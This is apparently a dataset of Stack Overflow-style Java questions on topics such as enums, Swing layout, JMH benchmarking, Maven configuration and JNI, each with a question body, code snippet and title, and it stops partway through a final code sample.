SQLState ( String code ) { this.code = code ; codeToValue.put ( code , this ) ; // problematic line } }",How to map a value back to an enum ? +Java,"I 'm doing something that should be trivial- retrieving an enum value from a property and comparing it with a constant of that enum in an if statement . However Android Studio claims the true case is unreachable code and wo n't compile.The block is : where in an extra ScanState class , I have : Variants I 've tried , which Android Studio claims will all evaluate to false areI 'm new to Java ( more familiar with C # ) , but an answer to this question suggests that my understanding of this is sound . Is there some stupid mistake I 'm making ?","if ( ScanState.getScanMode ( ) ! = ScanState.ScanModeEnum.SCAN_IDLE ) { //We 're already scanning , but user wants to stop . stopScanning ( ) ; } else { ScanState.setScanMode ( newMode ) ; restartScan ( ) ; buttonFlashMode = btnMode ; buttonFlasher ( ) ; } public static ScanModeEnum getScanMode ( ) { return scanMode ; } public static void setScanMode ( ScanModeEnum scanMode ) { ScanState.scanMode = scanMode ; } public enum ScanModeEnum { SCAN_IDLE , SCAN_PERSON , SCAN_BIKE , SCAN_SEARCH } private static ScanModeEnum scanMode = ScanModeEnum.SCAN_IDLE ; if ( ScanState.getScanMode ( ) == ScanState.ScanModeEnum.SCAN_IDLE ) if ( ScanState.getScanMode ( ) .compareTo ( ScanState.ScanModeEnum.SCAN_IDLE ) ! =0 ) if ( ScanState.ScanModeEnum.SCAN_IDLE == ScanState.ScanModeEnum.SCAN_IDLE ) if ( ScanState.ScanModeEnum.SCAN_IDLE.equals ( ScanState.ScanModeEnum.SCAN_IDLE ) )",Android Studio reports `` Unreachable Code '' with enum comparison +Java,"I 'm trying to generate bytecode wich will create object instance without code initialization logic . Actually I want to reproduce generateSerializationConstructor behavior.unfortunally I got such error : java.lang.VerifyError : ( class : com/esotericsoftware/reflectasm/benchmark/ConstructorAccessBenchmark $ SomeClass_ClassAccess_ , method : newObjectInstance signature : ( ) Ljava/lang/Object ; ) Call to wrong initialization method","{ mv = cw.visitMethod ( ACC_PUBLIC , `` newObjectInstance '' , `` ( ) Ljava/lang/Object ; '' , null , null ) ; mv.visitCode ( ) ; mv.visitTypeInsn ( NEW , classNameInternal ) ; mv.visitInsn ( DUP ) ; classNameInternal = `` java/lang/Object '' ; mv.visitMethodInsn ( INVOKESPECIAL , classNameInternal , `` < init > '' , `` ( ) V '' ) ; mv.visitInsn ( ARETURN ) ; mv.visitMaxs ( 0 , 0 ) ; mv.visitEnd ( ) ; }",creating object instance without invoking initializer +Java,"The Java compiler seems inconsistent if there is some code that clearly can not throw an exception , and you write surrounding code that declares that the code can throw that exception.Consider these code snippets.Snippet 1A catch of an exception that is never thrown.It is compile error with messageSnippet2A throws declaration indicating an exception that is never thrown.It compiles fine.Therefore , the results of the first code snippet shows that the compiler can calculate if a method can throw an exception listed in the throws list . So it seems the compiler is deliberately not reporting an error for the second snippet . But Why ? Why does the compiler allow you to write exceptions in throws section even if it the compiler knows thst those exceptions can not be thrown ?",public void g ( ) { try { } catch ( FileNotFoundException e ) { //any checked exception } } Unreachable catch block for FileNotFoundException . This exception is never thrown from the try statement body public void g ( ) throws FileNotFoundException { },Why does the Java compiler allow exceptions to be listed in the throws section that it is impossible for the method to throw +Java,"There seems to be an issue with aligning certain characters to the center of a BoxLayout along the y-axis in Java . I do n't know what could cause this , & I 've created an SSCCE to demonstrate the effect . In the example , I only use the character ' a ' , & I draw a line down the direct middle of each JPanel to demonstrate how far off each case is from the center . The case with bold text seems to line up fine , but normal formatting & italics are both grossly off-center , despite using both setAlignmentX & setHorizontalAlignment . Any help on understanding this effect is appreciated.In the case that somehow the problem is with Java on my specific computer , this is an image of what displays on my screen when I run the SSCCE , which loads three different JPanels with BoxLayouts along the y-axis & puts a centered JLabel with only the character ' a ' in each : & here is the code for the SSCCE :","import javax.swing . * ; import java.awt . * ; import javax.swing.border . * ; public class AlignmentTest extends JPanel { public AlignmentTest ( char label , int style ) { JLabel l = new JLabel ( Character.toString ( label ) ) ; setBorder ( BorderFactory.createLineBorder ( Color.BLACK,1 ) ) ; setBackground ( Color.WHITE ) ; setLayout ( new BoxLayout ( this , BoxLayout.Y_AXIS ) ) ; setPreferredSize ( new Dimension ( 300,50 ) ) ; add ( Box.createVerticalGlue ( ) ) ; add ( l ) ; l.setFont ( l.getFont ( ) .deriveFont ( style ) ) ; l.setAlignmentX ( CENTER_ALIGNMENT ) ; l.setHorizontalAlignment ( JLabel.CENTER ) ; add ( Box.createVerticalGlue ( ) ) ; } public static void main ( String [ ] args ) { JFrame f = new JFrame ( `` Alignment Test '' ) ; f.setDefaultCloseOperation ( JFrame.EXIT_ON_CLOSE ) ; f.setLayout ( new GridLayout ( 1,0,5,5 ) ) ; f.add ( new AlignmentTest ( ' a ' , Font.PLAIN ) ) ; f.add ( new AlignmentTest ( ' a ' , Font.BOLD ) ) ; f.add ( new AlignmentTest ( ' a ' , Font.ITALIC ) ) ; f.pack ( ) ; f.setVisible ( true ) ; } public void paintComponent ( Graphics g ) { super.paintComponent ( g ) ; g.drawLine ( getWidth ( ) /2,0 , getWidth ( ) /2 , getHeight ( ) ) ; } }",Alignment of Single Characters in Java BoxLayout on Y-Axis Is Off-Center +Java,"Seems like this question should already have an answer but I could not find a duplicate.Anyways I am wondering what community thinks about Stream.map use case like this ? I am not a big fan of this usage of map but it potentially can help with performance when dealing with large streams and avoid creating unnecessary Wrapper for every Source.This definitely has its limitation like being almost useless with parallel streams and terminal operation like collect.Update -The question is not about `` how to do it '' but `` can I do it this way '' . For example , I can have a code that only works with Wrapper and I want to invoke it in forEach but want to avoid creating a new instance of it for each Source element.Benchmark ResultsShows about 8 fold improvement with reusable wrapper-Benchmark ( N ) Mode Cnt Score Error UnitsBenchmarkTest.noReuse 10000000 avgt 5 870.253 ± 122.495 ms/opBenchmarkTest.withReuse 10000000 avgt 5 113.694 ± 2.528 ms/opBenchmark code -Full benchmark report -","Wrapper wrapper = new Wrapper ( ) ; list.stream ( ) .map ( s - > { wrapper.setSource ( s ) ; return wrapper ; } ) .forEach ( w - > processWrapper ( w ) ) ; public static class Source { private final String name ; public Source ( String name ) { this.name = name ; } public String getName ( ) { return name ; } } public static class Wrapper { private Source source = null ; public void setSource ( Source source ) { this.source = source ; } public String getName ( ) { return source.getName ( ) ; } } public void processWrapper ( Wrapper wrapper ) { } import java.util.List ; import java.util.ArrayList ; import java.util.concurrent.TimeUnit ; import org.openjdk.jmh.annotations . * ; import org.openjdk.jmh.infra.Blackhole ; import org.openjdk.jmh.runner.Runner ; import org.openjdk.jmh.runner.options.Options ; import org.openjdk.jmh.runner.options.OptionsBuilder ; @ BenchmarkMode ( Mode.AverageTime ) @ OutputTimeUnit ( TimeUnit.MILLISECONDS ) @ State ( Scope.Benchmark ) @ Fork ( value = 2 , jvmArgs = { `` -Xms2G '' , `` -Xmx2G '' } ) public class BenchmarkTest { @ Param ( { `` 10000000 '' } ) private int N ; private List < Source > data ; public static void main ( String [ ] args ) throws Exception { Options opt = new OptionsBuilder ( ) .include ( BenchmarkTest.class.getSimpleName ( ) ) .forks ( 1 ) .build ( ) ; new Runner ( opt ) .run ( ) ; } @ Setup public void setup ( ) { data = createData ( ) ; } @ Benchmark public void noReuse ( Blackhole bh ) { data.stream ( ) .map ( s - > new Wrapper1 ( s.getName ( ) ) ) .forEach ( t - > processTarget ( bh , t ) ) ; } @ Benchmark public void withReuse ( Blackhole bh ) { Wrapper2 wrapper = new Wrapper2 ( ) ; data.stream ( ) .map ( s - > { wrapper.setSource ( s ) ; return wrapper ; } ) .forEach ( w - > processTarget ( bh , w ) ) ; } public void processTarget ( Blackhole bh , Wrapper t ) { bh.consume ( t ) ; } private List < Source > createData ( ) { List < Source > data = new ArrayList < > ( ) ; for ( int i = 0 ; i < N ; i++ ) { data.add ( new Source ( `` Number : `` + i ) ) ; } return data ; } public static class Source { private final String name ; public Source ( String name ) { this.name = name ; } public String getName ( ) { return name ; } } public interface Wrapper { public String getName ( ) ; } public static class Wrapper1 implements Wrapper { private final String name ; public Wrapper1 ( String name ) { this.name = name ; } public String getName ( ) { return name ; } } public static class Wrapper2 implements Wrapper { private Source source = null ; public void setSource ( Source source ) { this.source = source ; } public String getName ( ) { return source.getName ( ) ; } } } # JMH version : 1.21 # VM version : JDK 1.8.0_191 , Java HotSpot ( TM ) 64-Bit Server VM , 25.191-b12 # VM invoker : /Library/Java/JavaVirtualMachines/jdk1.8.0_191.jdk/Contents/Home/jre/bin/java # VM options : -Xms2G -Xmx2G # Warmup : 5 iterations , 10 s each # Measurement : 5 iterations , 10 s each # Timeout : 10 min per iteration # Threads : 1 thread , will synchronize iterations # Benchmark mode : Average time , time/op # Benchmark : BenchmarkTest.noReuse # Parameters : ( N = 10000000 ) # Run progress : 0.00 % complete , ETA 00:03:20 # Fork : 1 of 1 # Warmup Iteration 1 : 1083.656 ms/op # Warmup Iteration 2 : 846.485 ms/op # Warmup Iteration 3 : 901.164 ms/op # Warmup Iteration 4 : 849.659 ms/op # Warmup Iteration 5 : 903.805 ms/opIteration 1 : 847.008 ms/opIteration 2 : 895.800 ms/opIteration 3 : 892.642 ms/opIteration 4 : 825.901 ms/opIteration 5 : 889.914 ms/opResult `` BenchmartTest.noReuse '' : 870.253 ± ( 99.9 % ) 122.495 ms/op [ Average ] ( min , avg , max ) = ( 825.901 , 870.253 , 895.800 ) , stdev = 31.812 CI ( 99.9 % ) : [ 747.758 , 992.748 ] ( assumes normal distribution ) # JMH version : 1.21 # VM version : JDK 1.8.0_191 , Java HotSpot ( TM ) 64-Bit Server VM , 25.191-b12 # VM invoker : /Library/Java/JavaVirtualMachines/jdk1.8.0_191.jdk/Contents/Home/jre/bin/java # VM options : -Xms2G -Xmx2G # Warmup : 5 iterations , 10 s each # Measurement : 5 iterations , 10 s each # Timeout : 10 min per iteration # Threads : 1 thread , will synchronize iterations # Benchmark mode : Average time , time/op # Benchmark : BenchmarkTest.withReuse # Parameters : ( N = 10000000 ) # Run progress : 50.00 % complete , ETA 00:01:58 # Fork : 1 of 1 # Warmup Iteration 1 : 113.780 ms/op # Warmup Iteration 2 : 113.643 ms/op # Warmup Iteration 3 : 114.323 ms/op # Warmup Iteration 4 : 114.258 ms/op # Warmup Iteration 5 : 117.351 ms/opIteration 1 : 114.526 ms/opIteration 2 : 113.944 ms/opIteration 3 : 113.943 ms/opIteration 4 : 112.930 ms/opIteration 5 : 113.124 ms/opResult `` BenchmarkTest.withReuse '' : 113.694 ± ( 99.9 % ) 2.528 ms/op [ Average ] ( min , avg , max ) = ( 112.930 , 113.694 , 114.526 ) , stdev = 0.657 CI ( 99.9 % ) : [ 111.165 , 116.222 ] ( assumes normal distribution ) # Run complete . Total time : 00:03:40REMEMBER : The numbers below are just data . To gain reusable insights , you need to follow up onwhy the numbers are the way they are . Use profilers ( see -prof , -lprof ) , design factorialexperiments , perform baseline and negative tests that provide experimental control , make surethe benchmarking environment is safe on JVM/OS/HW level , ask for reviews from the domain experts.Do not assume the numbers tell you what you want them to tell.Benchmark ( N ) Mode Cnt Score Error UnitsBenchmarkTest.noReuse 10000000 avgt 5 870.253 ± 122.495 ms/opBenchmarkTest.withReuse 10000000 avgt 5 113.694 ± 2.528 ms/op",Reusable single instance wrapper/object in Java stream map +Java,"I have a schema fragment that looks likeThe class produced by hyperjaxb3 contains the following fragment : I understand that hibernate will struggle to persist a pure Object so hyperjaxb is assuming that the object can be unmarshalled to a XML string and the resultant String is persisted . In my case this is not true but I can guarantee that the toString ( ) method will return something useful . I would like the generated code to look more like : Is there anyway I can get this effect or something similar ? Thanks , Mark .","< xs : element name= '' dataValue '' > < xs : complexType > < xs : sequence > < xs : element name= '' value '' type= '' xs : anyType '' \ > < /xs : sequence > < /xs : complexType > < /xs : element > @ XmlElement ( required = true ) protected Object value ; @ Transientpublic Object getValue ( ) { return value ; } public void setValue ( Object value ) { this.value = value ; } @ Basic @ Column ( name = `` VALUEOBJECT '' ) public String getValueObject ( ) { if ( JAXBContextUtils . isMarshallable ( `` org.lcogt.schema '' , this.getValue ( ) ) ) { return JAXBContextUtils.unmarshall ( `` org.lcogt.schema '' , this.getValue ( ) ) ; } else { return null ; } } @ XmlElement ( required = true ) protected Object value ; @ Transientpublic Object getValue ( ) { return value ; } public void setValue ( Object value ) { this.value = value ; } @ Basic @ Column ( name = `` VALUEOBJECT '' ) public String getValueObject ( ) { return value.toString ( ) ; }",HyperJaxb3 and xsd : anyType +Java,"I am using UrlImageViewHelper in order to load pictures in an adapterview.My adapter is : I am downloading and displaying large pictures ( 620x620 jpg ) in a full width list . They are slow the first time it is downloaded/displayed . This problem is not anymore occuring after an upgrade to android 4.2. on HTC one.I tried to profile the calls and I believe that during the very long calls , it hangs reading the socket inputstream . Has anyone a clue as to why there is such a difference in performance between the two platforms ? Logcat outputs : ( timings under 100 ms are usually duplicates ) android 4.1.2 Galaxy SIII mini time : 3217time : 4782time : 124time : 56time : 168time : 84time : 102time : 2819time : 2703time : 154time : 2468time : 81time : 40time : 52time : 2495time : 37time : 2007time : 58time : 38time : 119time : 80time : 44time : 2419time : 1651time : 40time : 2766time : 90time : 1889time : 183time : 2515time : 58time : 3345time : 2661time : 81time : 2434time : 119mostly above 1.5 sec . user needs to scroll items one by one to see the pictureOn android 4.3 nexus 4 : time : 47time : 1111time : 154time : 46time : 124time : 115time : 150time : 201time : 332time : 366time : 450time : 82time : 167time : 81time : 150time : 224time : 224time : 143time : 185time : 66time : 183time : 66time : 218time : 98time : 169time : 49time : 148time : 65time : 64time : 60time : 169time : 51consistently under 500 ms , list is usable","@ Overridepublic View getView ( int position , View convertView , ViewGroup parent ) { if ( convertView==null ) { convertView=new SquaredImageView ( getContext ( ) ) ; } SquaredImageView view= ( SquaredImageView ) convertView ; final long time=System.currentTimeMillis ( ) ; UrlImageViewHelper.setUrlDrawable ( view , getItem ( position ) .getLook_picture ( ) , R.drawable.placeholder_bkp , -1 , new UrlImageViewCallback ( ) { @ Override public void onLoaded ( ImageView imageView , Bitmap loadedBitmap , String url , boolean loadedFromCache ) { Log.d ( TAG , '' time : `` + ( System.currentTimeMillis ( ) -time ) ) ; } } ) ; return view ; }",What could make the loading slow in android 4.1.X and not on 4.2 ? +Java,I 've been reading about the sun blueprint GenericDAO implementation and Gavin King 's take on this for use with Hibernate . It seems he does n't mention anything about transaction handling : I 'm puzzled as to where I should put the start/end of the transaction . Currently they are inside the DAOs that extend this GenericHibernateDAOShould the transaction handling be managed by the caller of the DAO in the application tier ?,"public abstract class GenericHibernateDAO < T , ID extends Serializable > { protected Session getSession ( ) { return HibernateUtil.getSessionFactory ( ) .getCurrentSession ( ) ; } public T makePersistent ( T entity ) { getSession ( ) .saveOrUpdate ( entity ) ; return entity ; } } public class FooHibernateDAO extends GenericHibernateDAO < Foo , Long > { public Foo saveFoo ( Foo foo ) { getSession ( ) .beginTransaction ( ) ; makePersistent ( foo ) ; getSession ( ) .getTransaction ( ) .commit ( ) ; } }",Is it poor design for DAOs to manage transactions ? +Java,I have a login form where a user can enter his credentials to login . I have a JLabel that serves to display the text telling the user that the user name can not be empty . This label is display after a user click the login button when the text field is empty.I want that the moment the user starts typing in the text field the label with the information should disappear.How do I achieve this behavior ? Here is the code :,"public class JTextFiledDemo { private JFrame frame ; JTextFiledDemo ( ) { frame = new JFrame ( ) ; frame.setVisible ( true ) ; frame.setSize ( 300 , 300 ) ; frame.setLayout ( new GridLayout ( 4 , 1 ) ) ; frame.setLocationRelativeTo ( null ) ; iniGui ( ) ; } private void iniGui ( ) { JLabel error = new JLabel ( `` < html > < font color='red ' > Username can not be empty ! < > < /html > '' ) ; error.setVisible ( false ) ; JButton login = new JButton ( `` login '' ) ; JTextField userName = new JTextField ( 10 ) ; frame.add ( userName ) ; frame.add ( error ) ; frame.add ( login ) ; frame.pack ( ) ; login.addActionListener ( ( ActionEvent ) - > { if ( userName.getText ( ) .equals ( `` '' ) ) { error.setVisible ( true ) ; } } ) ; } public static void main ( String [ ] args ) { SwingUtilities.invokeLater ( new Runnable ( ) { public void run ( ) { JTextFiledDemo tf = new JTextFiledDemo ( ) ; } } ) ; } }",Handling editing events in a JTextField +Java,"I need select 10 smallest numbers from array ( with 2 000 items ) and print their indexes . At first I tried just sorted this array and print values array [ 0 to 9 ] . It was the smallest numbers but I lost indexes of this values , which they had i non-sorted array.Second option was tried use treeMap which works well , but when I have two equal keys it print only one of them , but I need print both of them.Example of use code with treeMap : Until now I do n't use treeMap , so is possible , that exist some easy way how fix it . Or is better use something else ? I will be grateful for any help","TreeMap < Integer , String > treemap = new TreeMap < Integer , String > ( ) ; treemap.put ( 2 , `` two '' ) ; treemap.put ( 1 , `` one '' ) ; treemap.put ( 3 , `` three '' ) ; treemap.put ( 6 , `` six '' ) ; treemap.put ( 6 , `` six2 '' ) ; treemap.put ( 5 , `` five '' ) ; Collection < String > coll=treemap.values ( ) ; System.out.println ( `` Value of the collection : `` +coll ) ;",How print indexes of 10 smallest values in array +Java,"I 'm trying to use the default android action bar with a custom view : The options menu contains a single item which should always show with text : Now I 'm having the issue with the selectable background , which is still the size of an action icon : How can I setup the action bar to apply a selectable background which fills the whole box of the item ?",< style name= '' ActionBar '' parent= '' android : Widget.Material.ActionBar.Solid '' > < item name= '' android : displayOptions '' > showCustom < /item > < item name= '' android : customNavigationLayout '' > @ layout/customNavigationLayout < /item > < /style > < item android : id= '' @ +id/action_cancel '' android : showAsAction= '' always|withText '' android : title= '' @ string/action_cancel '' / >,Android action bar options menu item custom selectable background +Java,I have a service class which depends on a Repository BeanHowever I have two kinds of RepoHow do I make two beans of SomeService which one is injected with JdbcRepo and another is injected with HibernateRepo ?,@ Servicepublic class SomeService { private Repo repoClass ; @ Autowired public SomeService ( Repo repoClass ) { this.repoClass = repoClass ; } //Methods } public class JdbcRepo implements Repo { } public class HibernateRepo implements Repo { },Create two same beans differ in dependency +Java,"I understand how Java cloning works and the arguments against using it . Lets say I am dead set on using it anyway.For the sake of convenience I would like to write a clone method for class Foo as follows : As far as I can tell this would be safe . However , I noticed that Cloneable classes in the API do not do this . Is there a reason for this and is it bad style ?",@ Overridepublic Foo clone ( ) { Foo f = ( Foo ) super.clone ( ) ; //Replace mutable fields return f ; },Why not cast inside overridden .clone ? +Java,"My code is : My camera resolution is 1280×720 , thus frameRGBABuffer should allocate 3686400 bytes of space.But it is strange that the length of frameRGBABuffer.array ( ) is 3686407 . Why does it have extra 7 bytes spaces ? By the way , frameRGBABuffer.array ( ) throws no exceptions and returns a byte [ ] with datasIt seems that Android allocate 7 extra spaces to handle the alignment.The source code is :","if ( frameRGBABuffer == null ) { frameRGBABuffer = ByteBuffer.allocateDirect ( cameraHeight * cameraWidth * 4 ) .order ( ByteOrder.nativeOrder ( ) ) ; } Log.d ( `` tag '' , frameRGBABuffer.array ( ) .length ) MemoryRef ( int capacity ) { VMRuntime runtime = VMRuntime.getRuntime ( ) ; buffer = ( byte [ ] ) runtime.newNonMovableArray ( byte.class , capacity + 7 ) ; allocatedAddress = runtime.addressOf ( buffer ) ; // Offset is set to handle the alignment : http : //b/16449607 offset = ( int ) ( ( ( allocatedAddress + 7 ) & ~ ( long ) 7 ) - allocatedAddress ) ; isAccessible = true ; isFreed = false ; }",Why does DirectByteBuffer.array ( ) have extra size ? +Java,"In Java , how can I construct a Type object for Map < String , String > ? does n't compile . One workaround I can think of isIs this the correct way ?","System.out.println ( Map < String , String > .class ) ; Map < String , String > dummy ( ) { throw new Error ( ) ; } Type mapStringString = Class.forName ( `` ThisClass '' ) .getMethod ( `` dummy '' , null ) .getGenericReturnType ( ) ;",Creating a Type object corresponding to a generic type +Java,"Does this behave any differently than if we were to omit the catch clause ? [ edit ] To clear the confusion , yes , the catch block does nothing except re-throw the exception . I was wondering if this caused some sort of different ordering in when the finally block is invoked ( assume that the thrown exception is caught by the caller ) , but from what I infer from the answers thusfar , it does not .",public Foo doDangerousStuff ( ) throws Exception { try { dangerousMethod ( ) ; return new Foo ( ) ; } catch ( Exception e ) { throw e ; } finally { mustBeCalledAfterDangerousMethod ( ) ; } } public Foo doDangerousStuff ( ) throws Exception { try { dangerousMethod ( ) ; return new Foo ( ) ; } finally { mustBeCalledAfterDangerousMethod ( ) ; } },Is this ` try..catch..finally ` redundant ? +Java,In a Maven < plugin > element there is an < executions > element which contains multiple < execution > elements . Each < execution > element can have an < id > element containing a string . What references those < id > ... < /id > elements ? What does it mean to omit that element ? What are the semantics of the < id > element ? For example : What references those < id > default-jar-execution < /id > and < id > extra-jar-execution < /id > values ? What is the behavioral difference of changing either of those strings ? What does it mean to remove those elements ?,< project > [ ... ] < build > < plugins > < plugin > < groupId > org.apache.maven.plugins < /groupId > < artifactId > maven-jar-plugin < /artifactId > < executions > < execution > < id > default-jar-execution < /id > < configuration > < finalName > mainjar < /finalName > < /configuration > < /execution > < execution > < id > extra-jar-execution < /id > < goals > < goal > jar < /goal > < /goals > < configuration > < finalName > anotherjar < /finalName > < /configuration > < /execution > < /exectutions > < /plugin > [ ... ] < /plugins > < /build > < /project >,What references the < id > value of a Maven plugin execution ? +Java,Output:123456789 123456792,int value1 = 123456789 ; float value2 = value1 ; System.out.println ( value1 ) ; System.out.println ( value2 ) ;,Why there is loss of value when converting from int to float in the below code ? +Java,"I 'm writing some `` big data '' software that needs to hold a lot of data in memory . I wrote a prototype in c++ that works great . However the actual end-users typically code in Java so they 've asked me to also write a java prototype . I 've done background reading on memory-footprint in java and some preliminary tests . For example , lets say I have this objectIn C++ the sizeof this structure is 16 bytes , which makes sense . In Java we have to be indirect . If I create , e.g. , 10m of these objects and use Runtime.totalMemory ( ) - Runtime.freeMemory ( ) before and after and then divide as appropriate I get approximately 36 bytes per structure . A ~2.4x memory difference is pretty nasty ; its gon na get ugly when we try to hold hundreds of millions of DataPoints in memory.I read somewhere that in cases like this in Java its better to store the data as arrays -- essentially a column-based store rather than a row-based store . I think I understand this : the column-based way reduces the number of number of references , and perhaps the JVM can even pack the ints into 8-byte words intelligently . What other tricks can I use for reducing the memory-footprint of what is essentially a memory block that has one very large dimension ( millions/billions of datapoints ) and one very small dimension ( the O ( 1 ) number of columns/variables ) ? Turns out storing the data as 4 int arrays used exactly 16 bytes per entry . The lesson : small objects have nasty proportional overhead in java .","public class DataPoint { int cents , time , product_id , store_id ; public DataPoint ( int cents , int time , int product_id , int store_id ) { this.cents = cents ; this.time = time ; this.product_id = product_id ; this.store_id = store_id ; } }",java in-memory size optimization +Java,"I have an interface Person and I have 2 classes Female and Male that implement the interface.For the Female class , I have a method getPregnancyMonth that my Male class does not have . Adding that method to my interface Person becomes a problem as my Male class now needs to inherit that method from the interface ; but the male would never be pregnant.What would be a solution , do I need to extend Person instead of implement ? EDIT : Sorry if my question was n't clear . In this case I have added both get/set methods from the Male and Female classes to the interface.My question is , since my interface has getPregnancyMonth , my male has to add that method to the concrete class to implement the interface . Is there a way to avoid this ?",static void Main ( Form form ) { Person person = Factory.createPerson ( form.getGender ( ) ) ; person.setName ( form.getName ( ) ) ; if ( `` F '' .equals ( gender ) ) { person.setPregnancyMonth ( form.getPregnancyMonth ( ) ) ; } },Interface with two different implementations +Java,"Say I have the following Java code : which loads a native library in the usual manner . The native library registers and caches the JVM or whatever , and then , later on , this function gets executed : Evidently sEnv- > CheckException ( ) will now return JNI_TRUE , but what will the native function print out ? In Java , throwing an Exception makes the JVM stop executing the method it 's in until it finds an appropriate handler , so foo ( ) 's return value is undefined . So is i also undefined ? I ca n't find any specs or anything saying otherwise , so presumably i /is/ undefined . There 's no 'normal ' range of CallStaticIntMethod in this case , unlike most JNI functions.I 'm trying this now , but I 'm mainly asking this to see if there 's a mandated behaviour somewhere .","public class Test { public static int foo ( ) { throw new RuntimeException ( ) ; } } JNIEnv* sEnv ; // initialised somewhere properlyvoid throwMeARiver ( ) { jclass c = sEnv- > FindClass ( `` Test '' ) ; jmethodID m = sEnv- > GetStaticMethodID ( c , `` foo '' , `` ( ) I '' ) ; jint i = sEnv- > CallStaticIntMethod ( c , m ) ; printf ( `` Got % d\n '' , ( int ) i ) ; }",What does a Java method return to a JNI caller when it throws an exception ? +Java,"I 'm working on a problem where I 'm required to manipulate large lists of palindromes up to a certain number of digits . This should work with numbers up 15 digits . The most common method I 've seen for this is iterating through each number and checking whether each is a palindrome and then adding that to a list . This is my implementation in java and it works fine.Only problem is it 's pretty slow when I get to 10+ digit palindromes . I 've been considering alternative ways to create this list and one consideration I 've had is generating the list of palindromes rather than iterating through each number and checking if it 's a palindrome.I 'm still working on paper but the pattern is n't as obvious as I thought I would find it to turn into pseudocode . I 'm working it out that for n number of digits , going from i to n , if the number of digits is even , generate numbers from 1 up to [ 10^ ( i/2 + 1 ) - 1 ] . Then append the reverse of each number to itself . A little stuck on how to do it for the odd digits . That 's where I am right now.I will come back with my own response if I figure this out and implement the code but in the meantime , I would just like to know if anyone has done this before or has an alternative method I 've overlooked that would be more efficient.UPDATESo I did manage to work out something thanks to all your suggestions . I decided to work with the numbers as strings but contrary to what I intended this has actually increased the runtime : / } Once again , accurate but still slow : (","public class Palindrome { public ArrayList < Long > List = new ArrayList < Long > ( ) ; public double d ; public Palindrome ( double digits ) { this.d = digits ; long dig = ( int ) ( Math.pow ( 10 , digits ) ) ; for ( long i = 1 ; i < = dig ; i++ ) { long a = i ; long b = inverse ( a ) ; if ( a == b ) { List.add ( a ) ; } } public long inverse ( long x ) { long inv = 0 ; while ( x > 0 ) { inv = inv * 10 + x % 10 ; x = x / 10 ; } return inv ; } } public class Palindrome2 { public ArrayList < Long > List = new ArrayList < Long > ( ) ; public double d ; public Palindrome2 ( double digits ) { this.d = digits ; for ( long n = 1 ; n < = d ; n++ ) { if ( n == 1 ) { for ( long i = 1 ; i < 10 ; i++ ) { List.add ( i ) ; } } if ( n % 2 ! = 0 & & n ! = 1 ) { long max = ( long ) Math.pow ( 10 , ( n + 1 ) / 2 ) ; long min = ( long ) Math.pow ( 10 , Math.floor ( n / 2 ) ) ; for ( long i = min ; i < max ; i++ ) { String str = Long.toString ( i ) ; str = str + removeFirst ( reverse ( str ) ) ; Long x = Long.parseLong ( str ) ; List.add ( x ) ; } } else if ( n % 2 == 0 ) { long max = ( long ) ( Math.pow ( 10 , Math.floor ( ( n + 1 ) / 2 ) ) - 1 ) ; long min = ( long ) Math.pow ( 10 , ( n / 2 ) - 1 ) ; for ( long i = min ; i < = max ; i++ ) { String str = Long.toString ( i ) ; str = str + reverse ( str ) ; Long x = Long.parseLong ( str ) ; List.add ( x ) ; } } } } public String reverse ( String x ) { String rev = new StringBuffer ( x ) .reverse ( ) .toString ( ) ; return rev ; } public String removeFirst ( String x ) { return x.substring ( 1 ) ; }",How to generate a list of palindromes without a check +Java,"I have multimodule maven project and want to automate part of release preparing . Before release I increase the version of changed module A , and because I have module B depends on A , I also need to increase version of B. I know that there is `` versions '' and `` release '' maven plugins , but they does n't cascade the update of version . Is it possible to make update of B version automaticly too ? Some additions to make it clear : We do n't use version of parent module , so i do n't need to update it.Before version bump : After version bump :",parent module ( 1.0 ) | | -- A module ( 0.01.00 ) | -- B module ( 0.02.00 ) parent module ( 1.0 ) | | -- A module ( 0.01.01 ) | -- B module ( 0.02.01 ),How to make cascade version set in maven ? +Java,"Im facing the following problem . I have set up my checkstyle with the following configuration : This runs fine when I run mvn site . However , when I run checkstyle through mvn checkstyle : checkstyle in order to get the XML report much more efficiently , the checkstyle plugin fails back to use the default configuration . When I move the plugin to < build > the XML is generated properly , but now the checkstyle report is not included in the generated site anymore.What is the ( current ) way of setting up report plugins as Checkstyle , while perserving the ability to run the plugin separately under the same configuration ? Is it really the preferred way to defined your plugins and configuration twice ?",< reporting > < plugins > < plugin > < groupId > org.apache.maven.plugins < /groupId > < artifactId > maven-checkstyle-plugin < /artifactId > < version > $ { checkstyle.plugin.version } < /version > < inherited/ > < configuration > < configLocation > $ { basedir } /checkstyle.xml < /configLocation > < includeTestSourceDirectory > true < /includeTestSourceDirectory > < /configuration > < /plugin > < /plugins > < /reporting >,mvn checkstyle : checkstyle uses wrong configuration when using reporting +Java,Say I have two classes : In the subclass ( ConcreteFoo ) I want to override bar ( ) 's javadoc but keep the implementation as in the super class ( AbstractFoo ) . Is there any way to do this without overriding the method ?,"public abstract class AbstractFoo { /** * Do bar . Subclasses may override this method , it is not required that they do baz . */ public void bar ( ) { // default implementation } } public class ConcreteFoo extends AbstractFoo { /** * Do bar . < b > Note : < /b > does not do baz , you have to do it yourself . */ @ Override public void bar ( ) { super.bar ( ) ; } }",How to override method 's javadoc without overriding the method itself ? +Java,"The code below calls two simple functions 10 billion times each . My assumption was that the performance of these two calls would be close to identical . If anything I would have guessed that passing two arguments would be slightly slower than passing one . Given all arguments are object references I was n't expecting the fact that one was a list to make any difference.I have run the test many times and a typical result is `` 12781/30536 '' . In other words , the call using two strings takes 13 secs and the call using a list takes 30 secs . What is the explanation for this difference in performance ? Or is this an unfair test ? I have tried switching the two calls ( in case it was due to startup effects ) but the results are the same . UpdateThis is not a fair test for many reasons . However it does demonstrate real behaviour of the Java compiler . Note the following two additions to demonstrate this : Adding expressions s1.getClass ( ) and sl.getClass ( ) to the functions makes the two function calls perfom the sameRunning the test with -XX : -TieredCompilation also makes the two functions calls perform the sameThe explanation for this behaviour is in the accepted answer below . The very brief summary of @ apangin 's answer is that func2 is not inlined by the hotspot compiler because the class of its argument ( i.e . List ) is not resolved . Forcing resolution of the class ( e.g . using getClass ) causes it to be inlined which significantly improves its performance . As pointed out in the answer , unresolved classes are unlikely to occur in real code which makes this code a unrealistic edge case .","public class PerfTest { private static long l = 0 ; public static void main ( String [ ] args ) { List < String > list = Arrays.asList ( `` a '' , `` b '' ) ; long time1 = System.currentTimeMillis ( ) ; for ( long i = 0 ; i < 1E10 ; i++ ) { func1 ( `` a '' , `` b '' ) ; } long time2 = System.currentTimeMillis ( ) ; for ( long i = 0 ; i < 